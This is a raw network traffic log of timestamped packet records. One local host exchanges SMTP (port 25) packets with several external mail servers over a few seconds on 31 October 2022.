Oct 31, 2022 12:19:49.883152008 CET	25	49822	198.252.153.129	192.168.2.5
Oct 31, 2022 12:19:49.885683060 CET	49822	25	192.168.2.5	198.252.153.129
Oct 31, 2022 12:19:49.987834930 CET	25	49819	142.250.157.26	192.168.2.5
Oct 31, 2022 12:19:49.990145922 CET	49819	25	192.168.2.5	142.250.157.26
Oct 31, 2022 12:19:50.307696104 CET	25	49819	142.250.157.26	192.168.2.5
Oct 31, 2022 12:19:50.435846090 CET	25	49819	142.250.157.26	192.168.2.5
Oct 31, 2022 12:19:50.436357021 CET	49819	25	192.168.2.5	142.250.157.26
Oct 31, 2022 12:19:50.753253937 CET	25	49819	142.250.157.26	192.168.2.5
Oct 31, 2022 12:19:50.941765070 CET	25	49820	209.51.188.92	192.168.2.5
Oct 31, 2022 12:19:50.942243099 CET	49820	25	192.168.2.5	209.51.188.92
Oct 31, 2022 12:19:50.956429958 CET	25	49821	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:50.956479073 CET	25	49821	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:50.956680059 CET	49821	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:19:50.956779957 CET	49821	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:19:50.964683056 CET	25	49819	142.250.157.26	192.168.2.5
Oct 31, 2022 12:19:50.965001106 CET	49819	25	192.168.2.5	142.250.157.26
Oct 31, 2022 12:19:50.989873886 CET	25	49821	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:50.995563984 CET	49823	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:19:51.086805105 CET	25	49820	209.51.188.92	192.168.2.5
Oct 31, 2022 12:19:51.086883068 CET	49820	25	192.168.2.5	209.51.188.92
Oct 31, 2022 12:19:51.088248968 CET	25	49820	209.51.188.92	192.168.2.5
Oct 31, 2022 12:19:51.088304043 CET	49820	25	192.168.2.5	209.51.188.92
Oct 31, 2022 12:19:51.281770945 CET	25	49819	142.250.157.26	192.168.2.5
Oct 31, 2022 12:19:51.362818956 CET	25	49823	74.125.200.26	192.168.2.5
Oct 31, 2022 12:19:51.363176107 CET	49823	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:19:51.409698009 CET	25	49819	142.250.157.26	192.168.2.5
Oct 31, 2022 12:19:51.410373926 CET	49819	25	192.168.2.5	142.250.157.26
Oct 31, 2022 12:19:51.413080931 CET	49819	25	192.168.2.5	142.250.157.26
Oct 31, 2022 12:19:51.660263062 CET	25	49823	74.125.200.26	192.168.2.5
Oct 31, 2022 12:19:51.660485983 CET	49823	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:19:51.727186918 CET	25	49819	142.250.157.26	192.168.2.5
Oct 31, 2022 12:19:51.729792118 CET	25	49819	142.250.157.26	192.168.2.5
Oct 31, 2022 12:19:51.729870081 CET	25	49819	142.250.157.26	192.168.2.5
Oct 31, 2022 12:19:51.729931116 CET	25	49819	142.250.157.26	192.168.2.5
Oct 31, 2022 12:19:51.729964972 CET	25	49819	142.250.157.26	192.168.2.5
Oct 31, 2022 12:19:51.729974031 CET	49819	25	192.168.2.5	142.250.157.26
Oct 31, 2022 12:19:51.730004072 CET	25	49819	142.250.157.26	192.168.2.5
Oct 31, 2022 12:19:51.730034113 CET	25	49819	142.250.157.26	192.168.2.5
Oct 31, 2022 12:19:51.730048895 CET	49819	25	192.168.2.5	142.250.157.26
Oct 31, 2022 12:19:51.730068922 CET	25	49819	142.250.157.26	192.168.2.5
Oct 31, 2022 12:19:51.730097055 CET	25	49819	142.250.157.26	192.168.2.5
Oct 31, 2022 12:19:51.730125904 CET	25	49819	142.250.157.26	192.168.2.5
Oct 31, 2022 12:19:51.730158091 CET	25	49819	142.250.157.26	192.168.2.5
Oct 31, 2022 12:19:51.730264902 CET	49819	25	192.168.2.5	142.250.157.26
Oct 31, 2022 12:19:51.730355024 CET	49819	25	192.168.2.5	142.250.157.26
Oct 31, 2022 12:19:51.896265984 CET	25	49823	74.125.200.26	192.168.2.5
Oct 31, 2022 12:19:51.902945995 CET	49823	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:19:52.046888113 CET	25	49819	142.250.157.26	192.168.2.5
Oct 31, 2022 12:19:52.046942949 CET	25	49819	142.250.157.26	192.168.2.5
Oct 31, 2022 12:19:52.046958923 CET	25	49819	142.250.157.26	192.168.2.5
Oct 31, 2022 12:19:52.046973944 CET	25	49819	142.250.157.26	192.168.2.5
Oct 31, 2022 12:19:52.046982050 CET	25	49819	142.250.157.26	192.168.2.5
Oct 31, 2022 12:19:52.046991110 CET	25	49819	142.250.157.26	192.168.2.5
Oct 31, 2022 12:19:52.047003031 CET	25	49819	142.250.157.26	192.168.2.5
Oct 31, 2022 12:19:52.047063112 CET	49819	25	192.168.2.5	142.250.157.26
Oct 31, 2022 12:19:52.047080994 CET	25	49819	142.250.157.26	192.168.2.5
Oct 31, 2022 12:19:52.047096968 CET	25	49819	142.250.157.26	192.168.2.5
Oct 31, 2022 12:19:52.047143936 CET	49819	25	192.168.2.5	142.250.157.26
Oct 31, 2022 12:19:52.047168970 CET	49819	25	192.168.2.5	142.250.157.26
Oct 31, 2022 12:19:52.047168970 CET	49819	25	192.168.2.5	142.250.157.26
Oct 31, 2022 12:19:52.047183990 CET	25	49819	142.250.157.26	192.168.2.5
Oct 31, 2022 12:19:52.047255993 CET	25	49819	142.250.157.26	192.168.2.5
Oct 31, 2022 12:19:52.047269106 CET	25	49819	142.250.157.26	192.168.2.5
Oct 31, 2022 12:19:52.047281981 CET	25	49819	142.250.157.26	192.168.2.5
Oct 31, 2022 12:19:52.047374964 CET	25	49819	142.250.157.26	192.168.2.5
Oct 31, 2022 12:19:52.047389030 CET	25	49819	142.250.157.26	192.168.2.5
Oct 31, 2022 12:19:52.047403097 CET	25	49819	142.250.157.26	192.168.2.5
Oct 31, 2022 12:19:52.047497034 CET	25	49819	142.250.157.26	192.168.2.5
Oct 31, 2022 12:19:52.047532082 CET	25	49819	142.250.157.26	192.168.2.5
Oct 31, 2022 12:19:52.047621965 CET	25	49819	142.250.157.26	192.168.2.5
Oct 31, 2022 12:19:52.047636032 CET	25	49819	142.250.157.26	192.168.2.5
Oct 31, 2022 12:19:52.092652082 CET	25	49695	85.187.148.2	192.168.2.5
Oct 31, 2022 12:19:52.093101025 CET	49695	25	192.168.2.5	85.187.148.2
Oct 31, 2022 12:19:52.247868061 CET	25	49695	85.187.148.2	192.168.2.5
Oct 31, 2022 12:19:52.248109102 CET	49695	25	192.168.2.5	85.187.148.2
Oct 31, 2022 12:19:52.264231920 CET	25	49823	74.125.200.26	192.168.2.5
Oct 31, 2022 12:19:52.363754988 CET	25	49819	142.250.157.26	192.168.2.5
Oct 31, 2022 12:19:52.363785028 CET	25	49819	142.250.157.26	192.168.2.5
Oct 31, 2022 12:19:52.363800049 CET	25	49819	142.250.157.26	192.168.2.5
Oct 31, 2022 12:19:52.363816023 CET	25	49819	142.250.157.26	192.168.2.5
Oct 31, 2022 12:19:52.363828897 CET	25	49819	142.250.157.26	192.168.2.5
Oct 31, 2022 12:19:52.363881111 CET	25	49819	142.250.157.26	192.168.2.5
Oct 31, 2022 12:19:52.363897085 CET	25	49819	142.250.157.26	192.168.2.5
Oct 31, 2022 12:19:52.363909960 CET	25	49819	142.250.157.26	192.168.2.5
Oct 31, 2022 12:19:52.363923073 CET	25	49819	142.250.157.26	192.168.2.5
Oct 31, 2022 12:19:52.363969088 CET	25	49819	142.250.157.26	192.168.2.5
Oct 31, 2022 12:19:52.363984108 CET	25	49819	142.250.157.26	192.168.2.5
Oct 31, 2022 12:19:52.363997936 CET	25	49819	142.250.157.26	192.168.2.5
Oct 31, 2022 12:19:52.364011049 CET	25	49819	142.250.157.26	192.168.2.5
Oct 31, 2022 12:19:52.364023924 CET	25	49819	142.250.157.26	192.168.2.5
Oct 31, 2022 12:19:52.364037037 CET	25	49819	142.250.157.26	192.168.2.5
Oct 31, 2022 12:19:52.364051104 CET	25	49819	142.250.157.26	192.168.2.5
Oct 31, 2022 12:19:52.364106894 CET	25	49819	142.250.157.26	192.168.2.5
Oct 31, 2022 12:19:52.364124060 CET	25	49819	142.250.157.26	192.168.2.5
Oct 31, 2022 12:19:52.402935982 CET	25	49695	85.187.148.2	192.168.2.5
Oct 31, 2022 12:19:52.403150082 CET	49695	25	192.168.2.5	85.187.148.2
Oct 31, 2022 12:19:52.435709000 CET	25	49823	74.125.200.26	192.168.2.5
Oct 31, 2022 12:19:52.436844110 CET	49823	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:19:52.511576891 CET	25	49819	142.250.157.26	192.168.2.5
Oct 31, 2022 12:19:52.511765003 CET	49819	25	192.168.2.5	142.250.157.26
Oct 31, 2022 12:19:52.511905909 CET	25	49819	142.250.157.26	192.168.2.5
Oct 31, 2022 12:19:52.511965036 CET	49819	25	192.168.2.5	142.250.157.26
Oct 31, 2022 12:19:52.541177034 CET	49824	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:19:52.568381071 CET	25	49824	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:52.568487883 CET	49824	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:19:52.596690893 CET	25	49824	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:52.596755028 CET	25	49695	85.187.148.2	192.168.2.5
Oct 31, 2022 12:19:52.596898079 CET	49824	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:19:52.623864889 CET	25	49824	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:52.643522978 CET	25	49824	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:52.643703938 CET	49824	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:19:52.671207905 CET	25	49824	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:52.671427965 CET	49824	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:19:52.703352928 CET	25	49824	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:52.797748089 CET	25	49823	74.125.200.26	192.168.2.5
Oct 31, 2022 12:19:52.828358889 CET	25	49819	142.250.157.26	192.168.2.5
Oct 31, 2022 12:19:52.874512911 CET	25	49824	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:52.874667883 CET	49824	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:19:52.876810074 CET	49825	25	192.168.2.5	142.250.141.27
Oct 31, 2022 12:19:52.901585102 CET	25	49824	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:52.902012110 CET	25	49824	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:52.910037994 CET	49824	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:19:52.923027992 CET	49824	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:19:52.942359924 CET	25	49824	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:52.950053930 CET	25	49824	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:52.950077057 CET	25	49824	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:52.950108051 CET	25	49824	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:52.950124979 CET	25	49824	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:52.950140953 CET	25	49824	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:52.950151920 CET	49824	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:19:52.950153112 CET	25	49824	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:52.950171947 CET	25	49824	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:52.950181961 CET	25	49824	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:52.950195074 CET	49824	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:19:52.950197935 CET	25	49824	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:52.950195074 CET	49824	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:19:52.950208902 CET	25	49824	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:52.950217962 CET	49824	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:19:52.950272083 CET	49824	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:19:52.950289965 CET	49824	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:19:52.966674089 CET	25	49823	74.125.200.26	192.168.2.5
Oct 31, 2022 12:19:52.967792988 CET	49823	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:19:52.969280005 CET	49826	25	192.168.2.5	217.69.139.150
Oct 31, 2022 12:19:52.977080107 CET	25	49824	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:52.977108002 CET	25	49824	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:52.977122068 CET	25	49824	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:52.977134943 CET	25	49824	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:52.977149963 CET	25	49824	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:52.977158070 CET	25	49824	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:52.977160931 CET	49824	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:19:52.977171898 CET	25	49824	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:52.977188110 CET	25	49824	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:52.977197886 CET	25	49824	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:52.977200031 CET	49824	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:19:52.977255106 CET	25	49824	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:52.977267981 CET	25	49824	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:52.977268934 CET	49824	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:19:52.977282047 CET	25	49824	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:52.977294922 CET	49824	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:19:52.977294922 CET	25	49824	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:52.977310896 CET	25	49824	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:52.977324009 CET	25	49824	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:52.977336884 CET	25	49824	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:52.977350950 CET	25	49824	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:52.977363110 CET	25	49824	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:52.977377892 CET	25	49824	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:52.977391005 CET	25	49824	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:53.004160881 CET	25	49824	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:53.004276037 CET	25	49824	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:53.004318953 CET	25	49824	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:53.004338980 CET	25	49824	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:53.004350901 CET	25	49824	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:53.004368067 CET	25	49824	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:53.004388094 CET	25	49824	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:53.004405975 CET	25	49824	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:53.004426003 CET	25	49824	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:53.004443884 CET	25	49824	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:53.004473925 CET	25	49824	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:53.004491091 CET	25	49824	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:53.004501104 CET	25	49824	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:53.004518032 CET	25	49824	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:53.004534960 CET	25	49824	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:53.004553080 CET	25	49824	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:53.004570961 CET	25	49824	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:53.004586935 CET	25	49824	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:53.007128954 CET	25	49824	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:53.007148981 CET	25	49824	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:53.007246017 CET	49824	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:19:53.032030106 CET	25	49826	217.69.139.150	192.168.2.5
Oct 31, 2022 12:19:53.032258034 CET	49826	25	192.168.2.5	217.69.139.150
Oct 31, 2022 12:19:53.059919119 CET	49824	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:19:53.081000090 CET	25	49825	142.250.141.27	192.168.2.5
Oct 31, 2022 12:19:53.081109047 CET	49825	25	192.168.2.5	142.250.141.27
Oct 31, 2022 12:19:53.086985111 CET	25	49824	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:53.094388962 CET	25	49826	217.69.139.150	192.168.2.5
Oct 31, 2022 12:19:53.094657898 CET	49826	25	192.168.2.5	217.69.139.150
Oct 31, 2022 12:19:53.110275984 CET	49827	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:19:53.141246080 CET	25	49827	142.250.147.27	192.168.2.5
Oct 31, 2022 12:19:53.141324043 CET	49827	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:19:53.156615973 CET	25	49826	217.69.139.150	192.168.2.5
Oct 31, 2022 12:19:53.156656027 CET	25	49826	217.69.139.150	192.168.2.5
Oct 31, 2022 12:19:53.157062054 CET	49826	25	192.168.2.5	217.69.139.150
Oct 31, 2022 12:19:53.181533098 CET	25	49827	142.250.147.27	192.168.2.5
Oct 31, 2022 12:19:53.181734085 CET	49827	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:19:53.212862968 CET	25	49827	142.250.147.27	192.168.2.5
Oct 31, 2022 12:19:53.219105005 CET	25	49826	217.69.139.150	192.168.2.5
Oct 31, 2022 12:19:53.219280958 CET	49826	25	192.168.2.5	217.69.139.150
Oct 31, 2022 12:19:53.229851007 CET	25	49827	142.250.147.27	192.168.2.5
Oct 31, 2022 12:19:53.230937004 CET	49827	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:19:53.268158913 CET	25	49827	142.250.147.27	192.168.2.5
Oct 31, 2022 12:19:53.270936966 CET	25	49827	142.250.147.27	192.168.2.5
Oct 31, 2022 12:19:53.271199942 CET	49827	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:19:53.282285929 CET	25	49826	217.69.139.150	192.168.2.5
Oct 31, 2022 12:19:53.282555103 CET	49826	25	192.168.2.5	217.69.139.150
Oct 31, 2022 12:19:53.307831049 CET	25	49827	142.250.147.27	192.168.2.5
Oct 31, 2022 12:19:53.317339897 CET	25	49825	142.250.141.27	192.168.2.5
Oct 31, 2022 12:19:53.317629099 CET	49825	25	192.168.2.5	142.250.141.27
Oct 31, 2022 12:19:53.328876972 CET	25	49823	74.125.200.26	192.168.2.5
Oct 31, 2022 12:19:53.344377995 CET	25	49826	217.69.139.150	192.168.2.5
Oct 31, 2022 12:19:53.345521927 CET	49826	25	192.168.2.5	217.69.139.150
Oct 31, 2022 12:19:53.346668959 CET	49826	25	192.168.2.5	217.69.139.150
Oct 31, 2022 12:19:53.408618927 CET	25	49826	217.69.139.150	192.168.2.5
Oct 31, 2022 12:19:53.408658028 CET	25	49826	217.69.139.150	192.168.2.5
Oct 31, 2022 12:19:53.408675909 CET	25	49826	217.69.139.150	192.168.2.5
Oct 31, 2022 12:19:53.408873081 CET	49826	25	192.168.2.5	217.69.139.150
Oct 31, 2022 12:19:53.428649902 CET	25	49827	142.250.147.27	192.168.2.5
Oct 31, 2022 12:19:53.428937912 CET	49827	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:19:53.461196899 CET	25	49827	142.250.147.27	192.168.2.5
Oct 31, 2022 12:19:53.469681978 CET	25	49827	142.250.147.27	192.168.2.5
Oct 31, 2022 12:19:53.469976902 CET	49827	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:19:53.471465111 CET	49827	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:19:53.473289967 CET	25	49826	217.69.139.150	192.168.2.5
Oct 31, 2022 12:19:53.473468065 CET	49826	25	192.168.2.5	217.69.139.150
Oct 31, 2022 12:19:53.502583027 CET	25	49827	142.250.147.27	192.168.2.5
Oct 31, 2022 12:19:53.502625942 CET	25	49827	142.250.147.27	192.168.2.5
Oct 31, 2022 12:19:53.502706051 CET	25	49827	142.250.147.27	192.168.2.5
Oct 31, 2022 12:19:53.502774954 CET	25	49827	142.250.147.27	192.168.2.5
Oct 31, 2022 12:19:53.502804995 CET	49827	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:19:53.502902031 CET	49827	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:19:53.502902031 CET	49827	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:19:53.502993107 CET	25	49827	142.250.147.27	192.168.2.5
Oct 31, 2022 12:19:53.503087997 CET	49827	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:19:53.508694887 CET	25	49827	142.250.147.27	192.168.2.5
Oct 31, 2022 12:19:53.508893013 CET	49827	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:19:53.513633013 CET	25	49826	217.69.139.150	192.168.2.5
Oct 31, 2022 12:19:53.514688015 CET	25	49823	74.125.200.26	192.168.2.5
Oct 31, 2022 12:19:53.514895916 CET	49823	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:19:53.522597075 CET	25	49825	142.250.141.27	192.168.2.5
Oct 31, 2022 12:19:53.534025908 CET	25	49827	142.250.147.27	192.168.2.5
Oct 31, 2022 12:19:53.534054995 CET	25	49827	142.250.147.27	192.168.2.5
Oct 31, 2022 12:19:53.534068108 CET	25	49827	142.250.147.27	192.168.2.5
Oct 31, 2022 12:19:53.534082890 CET	25	49827	142.250.147.27	192.168.2.5
Oct 31, 2022 12:19:53.534096003 CET	25	49827	142.250.147.27	192.168.2.5
Oct 31, 2022 12:19:53.534110069 CET	25	49827	142.250.147.27	192.168.2.5
Oct 31, 2022 12:19:53.534123898 CET	25	49827	142.250.147.27	192.168.2.5
Oct 31, 2022 12:19:53.534137964 CET	25	49827	142.250.147.27	192.168.2.5
Oct 31, 2022 12:19:53.534149885 CET	25	49827	142.250.147.27	192.168.2.5
Oct 31, 2022 12:19:53.534162998 CET	25	49827	142.250.147.27	192.168.2.5
Oct 31, 2022 12:19:53.534163952 CET	49827	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:19:53.534178972 CET	25	49827	142.250.147.27	192.168.2.5
Oct 31, 2022 12:19:53.534188032 CET	25	49827	142.250.147.27	192.168.2.5
Oct 31, 2022 12:19:53.534204006 CET	25	49827	142.250.147.27	192.168.2.5
Oct 31, 2022 12:19:53.534213066 CET	49827	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:19:53.534221888 CET	25	49827	142.250.147.27	192.168.2.5
Oct 31, 2022 12:19:53.534235954 CET	25	49827	142.250.147.27	192.168.2.5
Oct 31, 2022 12:19:53.534245014 CET	49827	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:19:53.534250975 CET	25	49827	142.250.147.27	192.168.2.5
Oct 31, 2022 12:19:53.534265041 CET	25	49827	142.250.147.27	192.168.2.5
Oct 31, 2022 12:19:53.534276962 CET	49827	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:19:53.534277916 CET	25	49827	142.250.147.27	192.168.2.5
Oct 31, 2022 12:19:53.535394907 CET	25	49826	217.69.139.150	192.168.2.5
Oct 31, 2022 12:19:53.535420895 CET	25	49826	217.69.139.150	192.168.2.5
Oct 31, 2022 12:19:53.535429001 CET	25	49826	217.69.139.150	192.168.2.5
Oct 31, 2022 12:19:53.535578966 CET	25	49826	217.69.139.150	192.168.2.5
Oct 31, 2022 12:19:53.539947033 CET	25	49827	142.250.147.27	192.168.2.5
Oct 31, 2022 12:19:53.539975882 CET	25	49827	142.250.147.27	192.168.2.5
Oct 31, 2022 12:19:53.555448055 CET	25	49825	142.250.141.27	192.168.2.5
Oct 31, 2022 12:19:53.555742025 CET	49825	25	192.168.2.5	142.250.141.27
Oct 31, 2022 12:19:53.565388918 CET	25	49827	142.250.147.27	192.168.2.5
Oct 31, 2022 12:19:53.565432072 CET	25	49827	142.250.147.27	192.168.2.5
Oct 31, 2022 12:19:53.565455914 CET	25	49827	142.250.147.27	192.168.2.5
Oct 31, 2022 12:19:53.565476894 CET	25	49827	142.250.147.27	192.168.2.5
Oct 31, 2022 12:19:53.565499067 CET	25	49827	142.250.147.27	192.168.2.5
Oct 31, 2022 12:19:53.565520048 CET	25	49827	142.250.147.27	192.168.2.5
Oct 31, 2022 12:19:53.565541983 CET	25	49827	142.250.147.27	192.168.2.5
Oct 31, 2022 12:19:53.565562010 CET	25	49827	142.250.147.27	192.168.2.5
Oct 31, 2022 12:19:53.565583944 CET	25	49827	142.250.147.27	192.168.2.5
Oct 31, 2022 12:19:53.565606117 CET	25	49827	142.250.147.27	192.168.2.5
Oct 31, 2022 12:19:53.565627098 CET	25	49827	142.250.147.27	192.168.2.5
Oct 31, 2022 12:19:53.565649033 CET	25	49827	142.250.147.27	192.168.2.5
Oct 31, 2022 12:19:53.565669060 CET	25	49827	142.250.147.27	192.168.2.5
Oct 31, 2022 12:19:53.565690041 CET	25	49827	142.250.147.27	192.168.2.5
Oct 31, 2022 12:19:53.565704107 CET	25	49827	142.250.147.27	192.168.2.5
Oct 31, 2022 12:19:53.565751076 CET	25	49827	142.250.147.27	192.168.2.5
Oct 31, 2022 12:19:53.578175068 CET	25	49827	142.250.147.27	192.168.2.5
Oct 31, 2022 12:19:53.578198910 CET	25	49827	142.250.147.27	192.168.2.5
Oct 31, 2022 12:19:53.578339100 CET	49827	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:19:53.578401089 CET	49827	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:19:53.609345913 CET	25	49827	142.250.147.27	192.168.2.5
Oct 31, 2022 12:19:53.613226891 CET	49828	25	192.168.2.5	64.233.167.27
Oct 31, 2022 12:19:53.646918058 CET	25	49828	64.233.167.27	192.168.2.5
Oct 31, 2022 12:19:53.647080898 CET	49828	25	192.168.2.5	64.233.167.27
Oct 31, 2022 12:19:53.681463003 CET	25	49828	64.233.167.27	192.168.2.5
Oct 31, 2022 12:19:53.681675911 CET	49828	25	192.168.2.5	64.233.167.27
Oct 31, 2022 12:19:53.714351892 CET	25	49828	64.233.167.27	192.168.2.5
Oct 31, 2022 12:19:53.718763113 CET	25	49828	64.233.167.27	192.168.2.5
Oct 31, 2022 12:19:53.719017029 CET	49828	25	192.168.2.5	64.233.167.27
Oct 31, 2022 12:19:53.752223015 CET	25	49828	64.233.167.27	192.168.2.5
Oct 31, 2022 12:19:53.752671957 CET	49828	25	192.168.2.5	64.233.167.27
Oct 31, 2022 12:19:53.765132904 CET	25	49825	142.250.141.27	192.168.2.5
Oct 31, 2022 12:19:53.790210009 CET	25	49825	142.250.141.27	192.168.2.5
Oct 31, 2022 12:19:53.790488005 CET	49825	25	192.168.2.5	142.250.141.27
Oct 31, 2022 12:19:53.790913105 CET	25	49828	64.233.167.27	192.168.2.5
Oct 31, 2022 12:19:53.875978947 CET	25	49823	74.125.200.26	192.168.2.5
Oct 31, 2022 12:19:53.909286022 CET	25	49828	64.233.167.27	192.168.2.5
Oct 31, 2022 12:19:53.909462929 CET	49828	25	192.168.2.5	64.233.167.27
Oct 31, 2022 12:19:53.942167997 CET	25	49828	64.233.167.27	192.168.2.5
Oct 31, 2022 12:19:53.942514896 CET	25	49828	64.233.167.27	192.168.2.5
Oct 31, 2022 12:19:53.942723036 CET	49828	25	192.168.2.5	64.233.167.27
Oct 31, 2022 12:19:53.944447994 CET	49828	25	192.168.2.5	64.233.167.27
Oct 31, 2022 12:19:53.971178055 CET	25	49826	217.69.139.150	192.168.2.5
Oct 31, 2022 12:19:53.971307993 CET	49826	25	192.168.2.5	217.69.139.150
Oct 31, 2022 12:19:53.977166891 CET	25	49828	64.233.167.27	192.168.2.5
Oct 31, 2022 12:19:53.977201939 CET	25	49828	64.233.167.27	192.168.2.5
Oct 31, 2022 12:19:53.977224112 CET	25	49828	64.233.167.27	192.168.2.5
Oct 31, 2022 12:19:53.977268934 CET	25	49828	64.233.167.27	192.168.2.5
Oct 31, 2022 12:19:53.977288008 CET	25	49828	64.233.167.27	192.168.2.5
Oct 31, 2022 12:19:53.977365971 CET	49828	25	192.168.2.5	64.233.167.27
Oct 31, 2022 12:19:53.977365971 CET	49828	25	192.168.2.5	64.233.167.27
Oct 31, 2022 12:19:53.977440119 CET	49828	25	192.168.2.5	64.233.167.27
Oct 31, 2022 12:19:53.983051062 CET	25	49828	64.233.167.27	192.168.2.5
Oct 31, 2022 12:19:53.983210087 CET	49828	25	192.168.2.5	64.233.167.27
Oct 31, 2022 12:19:53.999874115 CET	25	49825	142.250.141.27	192.168.2.5
Oct 31, 2022 12:19:54.010334969 CET	25	49828	64.233.167.27	192.168.2.5
Oct 31, 2022 12:19:54.010368109 CET	25	49828	64.233.167.27	192.168.2.5
Oct 31, 2022 12:19:54.010381937 CET	25	49828	64.233.167.27	192.168.2.5
Oct 31, 2022 12:19:54.010390043 CET	25	49828	64.233.167.27	192.168.2.5
Oct 31, 2022 12:19:54.010401011 CET	25	49828	64.233.167.27	192.168.2.5
Oct 31, 2022 12:19:54.010445118 CET	25	49828	64.233.167.27	192.168.2.5
Oct 31, 2022 12:19:54.010457993 CET	25	49828	64.233.167.27	192.168.2.5
